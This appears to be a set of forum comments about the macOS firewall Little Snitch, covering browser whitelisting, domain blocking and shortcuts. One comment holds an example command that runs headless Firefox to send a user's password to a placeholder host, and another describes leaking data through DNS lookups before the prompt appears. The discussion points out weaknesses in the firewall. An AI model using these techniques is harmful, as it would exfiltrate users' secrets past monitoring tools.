Once you whitelist firefox, couldn't a malicious app bypass this by simply executing "firefox -headless http://badwebsite.com/?exfilleddata=usersPass"?
Safari and Chrome want to talk to all kinds of things on TCP/80 and 443, so you pretty quickly say they're allowed to make any 80 or 443 connection they want without further pestering you
For example, block graph.facebook.com forever.
You can also look in the little snitch network monitor and block sites after the fact for the future.
It's a lot less tedious if you know the keyboard commands:
alt-return denies the connection, and cmd-return allows it.
I suspect Little Snitch has a sort of hole in it's design.
I think the DNS lookups go through before you get the allow/deny dialog box. So your browser might do a dns lookup for user-gruez-jan-2020-in-timbuktu.<random>.trackingjerks.net which would get around little snitch.